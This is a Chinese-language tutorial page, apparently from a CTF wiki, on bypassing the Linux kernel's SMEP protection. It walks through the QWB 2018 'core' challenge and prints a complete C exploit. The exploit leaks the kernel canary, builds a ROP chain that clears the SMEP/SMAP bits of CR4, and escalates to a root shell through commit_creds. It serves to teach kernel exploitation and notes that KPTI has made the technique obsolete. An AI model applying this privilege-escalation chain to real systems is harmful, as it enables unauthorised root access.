bypass-smep (已过时)¶
SMEP¶
为了防止 ret2usr
攻击,CPU 开发者提出了 smep
保护——Supervisor Mode Execution Protection
,其作用是当 CPU 处于 ring0
模式时,执行 用户空间的代码
会触发页错误。
在 ARM 架构中有一种类似的保护称为
PXN
。
对于使用 QEMU 启动的 Linux VM 而言,我们可以通过查看启动参数中的 CPU 参数确定是否开启了 SMEP 保护:
$ cat run.sh | grep -i smep
-cpu kvm64,+smep,+smap \
也可以通过查看 /proc/cpuinfo
文件进行确定:
~ $ cat /proc/cpuinfo | grep -i smep
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse......
smep 和 CR4 寄存器¶
控制寄存器组中的 CR4
寄存器用以控制 CPU 的各种特性,CPU 根据 CR4 寄存器的值判断是否开启 smep 保护,当 CR4 寄存器的第 20 位是 1 时,保护开启;是 0 时,保护关闭。
例如,当 $CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000
时,smep 保护开启。而 CR4 寄存器是可以通过 mov 指令修改的,因此只需要执行下面的汇编指令:
mov cr4, 0x1407e0
# 0x1407e0 = 101 0 0000 0011 1111 00000
使用 GDB 调试内核时,我们可以通过 info register cr4
命令查看当前 CPU 的 CR4 寄存器的值以及对应启用的标志位:
(gdb) info registers cr4
cr4 0x3006f0 [ SMAP SMEP OSXMMEXCPT OSFXSR PGE MCE PAE PSE ]
例题:强网杯2018 - core¶
这一次我们在启动脚本中添加上 smep 与 smap 的选项:
qemu-system-x86_64 \
-m 128M \
-cpu qemu64-v1,+smep,+smap \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
之后我们重新运行之前的 ret2usr 的 exp,发现直接 kernel panic 了,这是因为我们想要执行用户空间的函数指针,触发了 SMEP 保护
那么这里我们只需要通过 ROP 来关闭 SMEP&SMAP 即可继续 ret2usr,这里笔者用与运算将 SMEP 与 SMAP 的两位给清除掉了,实际上直接给 cr4 赋值 0x6f0
也是可以的(通常关了以后都是这个值)。
最终的 exp 如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
/**
* Kernel Pwn Infrastructures
**/
#define SUCCESS_MSG(msg) "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg) "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg) "\033[31m\033[1m" msg "\033[0m"
#define log_success(msg) puts(SUCCESS_MSG(msg))
#define log_info(msg) puts(INFO_MSG(msg))
#define log_error(msg) puts(ERROR_MSG(msg))
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t kernel_base = 0xffffffff81000000, kernel_offset;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(void)
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
log_success("[*] Status has been saved.");
}
void get_root_shell(void)
{
if(getuid()) {
log_error("[x] Failed to get the root!");
sleep(5);
exit(EXIT_FAILURE);
}
log_success("[+] Successful to get the root.");
log_info("[*] Execve root shell now...");
system("/bin/sh");
/* to exit the process normally, instead of potential segmentation fault */
exit(EXIT_SUCCESS);
}
void* (*prepare_kernel_cred_kfunc)(void *task_struct);
int (*commit_creds_kfunc)(void *cred);
void ret2usr_attack(void)
{
prepare_kernel_cred_kfunc = (void*(*)(void*)) prepare_kernel_cred;
commit_creds_kfunc = (int (*)(void*)) commit_creds;
(*commit_creds_kfunc)((*prepare_kernel_cred_kfunc)(NULL));
asm volatile(
"mov rax, user_ss;"
"push rax;"
"mov rax, user_sp;"
"sub rax, 8;" /* stack balance */
"push rax;"
"mov rax, user_rflags;"
"push rax;"
"mov rax, user_cs;"
"push rax;"
"lea rax, get_root_shell;"
"push rax;"
"swapgs;"
"iretq;"
);
}
/**
* Challenge Interface
**/
void core_read(int fd, char *buf)
{
ioctl(fd, 0x6677889B, buf);
}
void set_off_val(int fd, size_t off)
{
ioctl(fd, 0x6677889C, off);
}
void core_copy(int fd, size_t nbytes)
{
ioctl(fd, 0x6677889A, nbytes);
}
/**
* Exploitation
**/
#define COMMIT_CREDS 0xffffffff8109c8e0
#define MOV_RAX_CR4_ADD_RSP_8_POP_RBP_RET 0xffffffff8106669c
#define POP_RDI_RET 0xffffffff81000b2f
#define AND_RAX_RDI_RET 0xffffffff8102b45b
#define MOV_CR4_RAX_PUSH_RCX_POPFQ_RET 0xffffffff81002515
void exploitation(void)
{
FILE *ksyms_file;
int fd;
char buf[0x1000], type[0x10];
size_t addr;
size_t canary;
size_t rop_chain[0x100], i;
log_info("[*] Start to exploit...");
save_status();
fd = open("/proc/core", O_RDWR);
if(fd < 0) {
log_error("[x] Failed to open the /proc/core !");
exit(EXIT_FAILURE);
}
/* get addresses of kernel symbols */
log_info("[*] Reading /tmp/kallsyms...");
ksyms_file = fopen("/tmp/kallsyms", "r");
if(ksyms_file == NULL) {
log_error("[x] Failed to open the sym_table file!");
exit(EXIT_FAILURE);
}
while(fscanf(ksyms_file, "%lx%s%s", &addr, type, buf)) {
if(prepare_kernel_cred && commit_creds) {
break;
}
if(!commit_creds && !strcmp(buf, "commit_creds")) {
commit_creds = addr;
printf(
SUCCESS_MSG("[+] Successful to get the addr of commit_cread: ")
"%lx\n", commit_creds);
continue;
}
if(!strcmp(buf, "prepare_kernel_cred")) {
prepare_kernel_cred = addr;
printf(SUCCESS_MSG(
"[+] Successful to get the addr of prepare_kernel_cred: ")
"%lx\n", prepare_kernel_cred);
continue;
}
}
kernel_offset = commit_creds - COMMIT_CREDS;
kernel_base += kernel_offset;
printf(
SUCCESS_MSG("[+] Got kernel base: ") "%lx"
SUCCESS_MSG(" , kaslr offset: ") "%lx\n",
kernel_base,
kernel_offset
);
/* reading canary value */
log_info("[*] Reading value of kernel stack canary...");
set_off_val(fd, 64);
core_read(fd, buf);
canary = ((size_t*) buf)[0];
printf(SUCCESS_MSG("[+] Got kernel stack canary: ") "%lx\n", canary);
/* building ROP chain */
rop_chain[8] = canary;
i = 10;
rop_chain[i++] = MOV_RAX_CR4_ADD_RSP_8_POP_RBP_RET + kernel_offset;
rop_chain[i++] = *(size_t*) "arttnba3";
rop_chain[i++] = *(size_t*) "arttnba3";
rop_chain[i++] = POP_RDI_RET + kernel_offset;
rop_chain[i++] = 0xffffffffffcfffff;
rop_chain[i++] = AND_RAX_RDI_RET + kernel_offset;
rop_chain[i++] = MOV_CR4_RAX_PUSH_RCX_POPFQ_RET + kernel_offset;
rop_chain[i++] = (size_t) ret2usr_attack;
/* exploitation */
log_info("[*] Start ret2usr attack with smep-bypass in kernel space...");
write(fd, rop_chain, 0x800);
core_copy(fd, 0xffffffffffff0000 | (0x100));
}
int main(int argc, char ** argv)
{
exploitation();
return 0; /* never arrive here... */
}
其他¶
正如我们在 ret2usr
一节中所言,对于开启了 KPTI 的内核而言,内核页表的用户地址空间无执行权限,因此当内核尝试执行用户空间代码时,由于对应页顶级表项没有设置可执行位,因此会直接 panic,这意味着 ret2usr 已经是过去式了, 相应地,与之伴生的 smep bypass 也便成为了过去式 。